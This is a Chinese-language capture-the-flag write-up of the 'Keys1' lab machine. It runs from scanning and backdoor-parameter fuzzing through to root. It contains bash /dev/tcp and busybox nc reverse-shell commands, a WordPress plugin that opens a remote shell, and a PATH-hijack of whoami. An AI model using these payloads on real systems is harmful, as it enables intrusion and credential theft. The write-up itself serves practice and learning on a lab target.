Keys1

```
靶机：Keys1
靶机ID： 591
系统：Linux
难度：Easy
```

端口扫描

```
┌──(root㉿kali)-[~]
└─# ./rustscan -a 192.168.44.201
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-' `-'`-'`-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Open ports, closed hearts.

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.44.201:22
Open 192.168.44.201:80
Open 192.168.44.201:8080
[~] Starting Script(s)
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-26 04:23 EST
Initiating ARP Ping Scan at 04:23
Scanning 192.168.44.201 [1 port]
Completed ARP Ping Scan at 04:23, 0.06s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 04:23
Scanning keys1.dsz (192.168.44.201) [3 ports]
Discovered open port 22/tcp on 192.168.44.201
Discovered open port 80/tcp on 192.168.44.201
Discovered open port 8080/tcp on 192.168.44.201
Completed SYN Stealth Scan at 04:23, 0.02s elapsed (3 total ports)
Nmap scan report for keys1.dsz (192.168.44.201)
Host is up, received arp-response (0.00069s latency).
Scanned at 2026-02-26 04:23:25 EST for 0s

PORT     STATE SERVICE    REASON
22/tcp   open  ssh        syn-ack ttl 64
80/tcp   open  http       syn-ack ttl 64
8080/tcp open  http-proxy syn-ack ttl 63
MAC Address: 00:0C:29:DF:7B:60 (VMware)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds
           Raw packets sent: 4 (160B) | Rcvd: 4 (160B)


┌──(root㉿kali)-[~]
└─#
```

```
22,80,8080端口，那就去web探测80,8080一下
```

信息收集

curl探测

```
发现80端口提示是绑定域名，8080端口是和80端口同样页面
```

```
┌──(root㉿kali)-[~]
└─# curl 192.168.44.201
<!DOCTYPE html><html><body style="height:100vh;display:flex;justify-content:center;align-items:center;margin:0;"><h1>Welcome to Maze-Sec</h1></body></html>
<!-- keys1.dsz -->

┌──(root㉿kali)-[~]
└─# curl 192.168.44.201:8080
<!DOCTYPE html><html><body style="height:100vh;display:flex;justify-content:center;align-items:center;margin:0;"><h1>Welcome to Maze-Sec</h1></body></html>
```

目录扫描

```
因为我把80端口的keys1.dsz，玩坏了，只要访问就反弹shell，看不到效果了，扫描是有一个wordpress
```

```
┌──(root㉿kali)-[~]
└─# gobuster dir -u http://192.168.44.201:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,js,zip -t 20

===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.44.201:8080
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              php,html,txt,js,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 156]
/backdoor.php         (Status: 500) [Size: 0]
Progress: 77984 / 1323354 (5.89%)^C
```

8080端口切入

扫描出来个后门文件，尝试可不可以fuzz出后门参数

```
ffuf -u "http://192.168.44.201:8080/backdoor.php?FUZZ=id" -w
/usr/share/wordlists/dirb/common.txt -fs 0
```

```
┌──(root㉿kali)-[~]
└─# ffuf -u "http://192.168.44.201:8080/backdoor.php?FUZZ=id" -w /usr/share/wordlists/dirb/common.txt -fs 0

       v2.1.0-dev
_____________________________________________

 :: Method           : GET
 :: URL              : http://192.168.44.201:8080/backdoor.php?FUZZ=id
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 0
_____________________________________________

0                       [Status: 200, Size: 54, Words: 3, Lines: 2, Duration: 8ms]
:: Progress: [4614/4614] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
```

发现确实可以 参数是0，那就尝试反弹shell进去看看

```
curl "http://192.168.44.201:8080/backdoor.php?0=bash%20-c%20%27bash%20-
i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.44.128%2F6666%200%3E%261%27"
nc -lvnp 6666
```

```
┌──(root㉿kali)-[~]
└─# nc -lvnp 6666
listening on [any] 6666 ...
connect to [192.168.44.128] from (UNKNOWN) [192.168.44.201] 55428
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@b0c13fafdaf6:/var/www/html$ cd /
cd /
www-data@b0c13fafdaf6:/$ ls -la
ls -la
total 64
drwxr-xr-x   1 root root 4096 Feb 26 08:58 .
drwxr-xr-x   1 root root 4096 Feb 26 08:58 ..
-rwxr-xr-x   1 root root    0 Feb 26 08:58 .dockerenv
lrwxrwxrwx   1 root root    7 Jan  2 12:35 bin -> usr/bin
drwxr-xr-x   2 root root 4096 Jan  2 12:35 boot
drwxr-xr-x   5 root root  340 Feb 26 08:58 dev
drwxr-xr-x   1 root root 4096 Feb 26 08:58 etc
drwxr-xr-x   2 root root 4096 Jan  2 12:35 home
lrwxrwxrwx   1 root root    7 Jan  2 12:35 lib -> usr/lib
lrwxrwxrwx   1 root root    9 Jan  2 12:35 lib64 -> usr/lib64
drwxr-xr-x   2 root root 4096 Feb  2 00:00 media
drwxr-xr-x   2 root root 4096 Feb  2 00:00 mnt
drwxr-xr-x   2 root root 4096 Feb  2 00:00 opt
dr-xr-xr-x 297 root root    0 Feb 26 08:58 proc
drwx------   2 root root 4096 Feb  2 00:00 root
drwxr-xr-x   1 root root 4096 Feb 15 07:00 run
lrwxrwxrwx   1 root root    8 Jan  2 12:35 sbin -> usr/sbin
drwxr-xr-x   2 root root 4096 Feb  2 00:00 srv
dr-xr-xr-x  13 root root    0 Feb 26 08:58 sys
drwxrwxrwt   1 root root 4096 Feb 15 07:00 tmp
drwxr-xr-x   1 root root 4096 Feb  2 00:00 usr
drwxr-xr-x   1 root root 4096 Feb 15 07:00 var
www-data@b0c13fafdaf6:/$
```

进来发现是在b0c13fafdaf6容器里面,还是www-data，尝试再信息收集，发现在环境变量当中获得了root的密码

```
www-data@b0c13fafdaf6:/$ env
env
ROOT_PASSWORD=root123.
HOSTNAME=b0c13fafdaf6
PWD=/
APACHE_LOG_DIR=/var/log/apache2
LANG=C
APACHE_PID_FILE=/var/run/apache2/apache2.pid
APACHE_RUN_GROUP=www-data
APACHE_LOCK_DIR=/var/lock/apache2
SHLVL=2
APACHE_RUN_DIR=/var/run/apache2
APACHE_RUN_USER=www-data
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
OLDPWD=/var/www/html
_=/usr/bin/env
www-data@b0c13fafdaf6:/$
```

su root
root123.
就可以拿到容器的root的shell，但是发现好像又没有什么可以容器逃逸到宿主机的办法，那就回头去看80端口的wordpress

80端口切入点

因为是wordpress，就用wpscan进行扫描
wpscan --url http://keys1.dsz/wordpress --enumerate u
发现一个是泄露了用户名信息todd
另一个是能够访问/uploads/的文件

```
 | Confidence: 100%

[+] Upload directory has listing enabled: http://keys1.dsz/wordpress/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://keys1.dsz/wordpress/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

Fingerprinting the version - Time: 00:00:04 <==========================================================================> (702 / 702) 100.00% Time: 00:00:
[i] The WordPress version could not be detected.

[+] WordPress theme in use: twentytwentyfive
 | Location: http://keys1.dsz/wordpress/wp-content/themes/twentytwentyfive/
 | Last Updated: 2025-12-03T00:00:00.000Z
 | Readme: http://keys1.dsz/wordpress/wp-content/themes/twentytwentyfive/readme.txt
 | [!] The version is out of date, the latest version is 1.4
 | [!] Directory listing is enabled
 | Style URL: http://keys1.dsz/wordpress/wp-content/themes/twentytwentyfive/style.css?ver=1.2
 | Style Name: Twenty Twenty-Five
 | Style URI: https://wordpress.org/themes/twentytwentyfive/
 | Description: Twenty Twenty-Five emphasizes simplicity and adaptability. It offers flexible design options, suppor...
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Css Style In Homepage (Passive Detection)
 | Confirmed By: Css Style In 404 Page (Passive Detection)
 |
 | Version: 1.2 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://keys1.dsz/wordpress/wp-content/themes/twentytwentyfive/style.css?ver=1.2, Match: 'Version: 1.2'

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <==========================================================================> (10 / 10) 100.00% Time: 00:00:

[i] User(s) Identified:

[+] todd
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://keys1.dsz/wordpress/wp-json/wp/v2/users/?per_page=100&page=1
 |  Rss Generator (Aggressive Detection)
 |  Author Sitemap (Aggressive Detection)
```

uploads/探测

因为环境坏了，就没有图了，是三只懒洋洋，有参数的都没有什么信息，有一张没有参数的，数据末提示了不用爆破密码，那就想起在8080端口拿到的root123. 发现可以成功登入wordpress的后台

插件上传反弹shell

进入wordpress的后台，那就是经典的上传插件尝试一下

```
<?php
/**
 * Plugin Name: Test
 * Plugin URI: https://example.com
 * Description: Simple shell for testing
 * Version: 1.0
 * Author: Test
 */


exec("busybox nc 192.168.44.128 4444 -e bash");

?>
```

打包成zip，然后上传并且启动插件就可以了，但是不知道为啥，可能我试和点的太多下了，wordpress直接崩了，只要访问就是反弹shell

信息再收集

```
┌──(root㉿kali)-[/opt]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.44.128] from (UNKNOWN) [192.168.44.201] 43694
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

进来之后在sublarge目录下面找到user.txt,但是发现这里有很多的用户名，想要进去看看，都提示了权限不够，那就继续翻翻
在/opt/下面翻到了user.txt，但是什么权限都没有
最后在/usr/local/bin/找到了key1

key1切入

直接执行，发现程序识别了当前用户的id，然后去找了个用户出来对比，尝试看看有没有什么参数

```
www-data@Key1:/home$ /usr/local/bin/key1
/usr/local/bin/key1
Current user: www-data
Now is user sublarge turn
www-data@Key1:/home$
```

```
www-data@Key1:/var/www/keys1.dsz/wordpress$ /usr/local/bin/key1 --htlp
/usr/local/bin/key1 --htlp
/usr/local/bin/key1: unrecognized option '--htlp'
Options:
  -h, --help              Display this help message and exit
  -p, --password PASSWORD Output root password format with provided password
Standard logic:
  1. Reads users from /opt/user.txt
  2. Compares current user with a selected user
```

发现有两个提示，一个是-p 加相应正确密码格式就可以输出root的密码，另一个就在/opt/user.txt读取用户，然后进行对比，那现在要干的就是想要对比成功，但是发现user.txt没有www-dat，那怎么随机对比都轮不上，那就做一个环境变量劫持,写一个假的whomai然后固定输出一个用户名，因为读取本地用户名应该是用的whomai，至于随机抽取while就好了

```
echo '#!/bin/bash' > whomai
echo 'echo -n "sublarge"' >> whoami
chmod +x whoami
export PATH=/tmp:$PATH
while true; do /usr/local/bin/key1 ; done
```

```
Current user: sublarge
Now is user da turn
/tmp/whoami: line 3: eho: command not found
Current user: sublarge
Now is user da turn
/tmp/whoami: line 3: eho: command not found
sublarge: 9cesSxZfHJS8DNxieFUx
/tmp/whoami: line 3: eho: command not found
sublarge: 9cesSxZfHJS8DNxieFUx
/tmp/whoami: line 3: eho: command not found
sublarge: 9cesSxZfHJS8DNxieFUx
/tmp/whoami: line 3: eho: command not found
sublarge: 9cesSxZfHJS8DNxieFUx
/tmp/whoami: line 3: eho: command not found
sublarge: 9cesSxZfHJS8DNxieFUx
/tmp/whoami: line 3: eho: command not found
sublarge: 9cesSxZfHJS8DNxieFUx
/tmp/whoami: line 3: eho: command not found
sublarge: 9cesSxZfHJS8DNxieFUx
/tmp/whoami: line 3: eho: command not found
sublarge: 9cesSxZfHJS8DNxieFUx
/tmp/whoami: line 3: eho: command not found
sublarge: 9cesSxZfHJS8DNxieFUx
/tmp/whoami: line 3: eho: command not found
sublarge: 9cesSxZfHJS8DNxieFUx
/tmp/whoami: line 3: eho: command not found
sublarge: 9cesSxZfHJS8DNxieFUx
/tmp/whoami: line 3: eho: command not found
sublarge: 9cesSxZfHJS8DNxieFUx
/tmp/whoami: line 3: eho: command not found
sublarge: 9cesSxZfHJS8DNxieFUx
/tmp/whoami: line 3: eho: command not found
sublarge: 9cesSxZfHJS8DNxieFUx
/tmp/whoami: line 3: eho: command not found
sublarge: 9cesSxZfHJS8DNxieFUx
/tmp/whoami: line 3: eho: command not found
sublarge: 9cesSxZfHJS8DNxieFUx
/tmp/whoami: line 3: eho: command not found
sublarge: 9cesSxZfHJS8DNxieFUx
/tmp/whoami: line 3: eho: command not found
sublarge: 9cesSxZfHJS8DNxieFUx
/tmp/whoami: line 3: eho: command not found
sublarge: 9cesSxZfHJS8DNxieFUx
/tmp/whoami: line 3: eho: command not found
sublarge: 9cesSxZfHJS8DNxieFUx
/tmp/whoami: line 3: eho: command not found
sublarge: 9cesSxZfHJS8DNxieFUx
/tmp/whoami: line 3: eho: command not found
sublarge: 9cesSxZfHJS8DNxieFUx
/tmp/whoami: line 3: eho: command not found
sublarge: 9cesSxZfHJS8DNxieFUx
/tmp/whoami: line 3: eho: command not found
sublarge: 9cesSxZfHJS8DNxieFUx
```

一开始打错echo了，就显示not found 但是问题不大

sublarge:9cesSxZfHJS8DNxieFUx
接下来就是用-p 参数获得root的密码就ok了

```
sublarge@Key1:~$ /usr/local/bin/key1 -p 9cesSxZfHJS8DNxieFUx
root: mc6gMij9hFetO6S0WNrd
sublarge@Key1:~$ su root
Password:
root@Key1:/home/sublarge# cd /root
root@Key1:~# ls
Dockerfile  rootpasss.txt  root.txt  run_backdoor.sh  userpass.txt
root@Key1:~# cat root.txt
flag{root-2d8e0ca998ebd0a3abdee36468170c99}
root@Key1:~#
```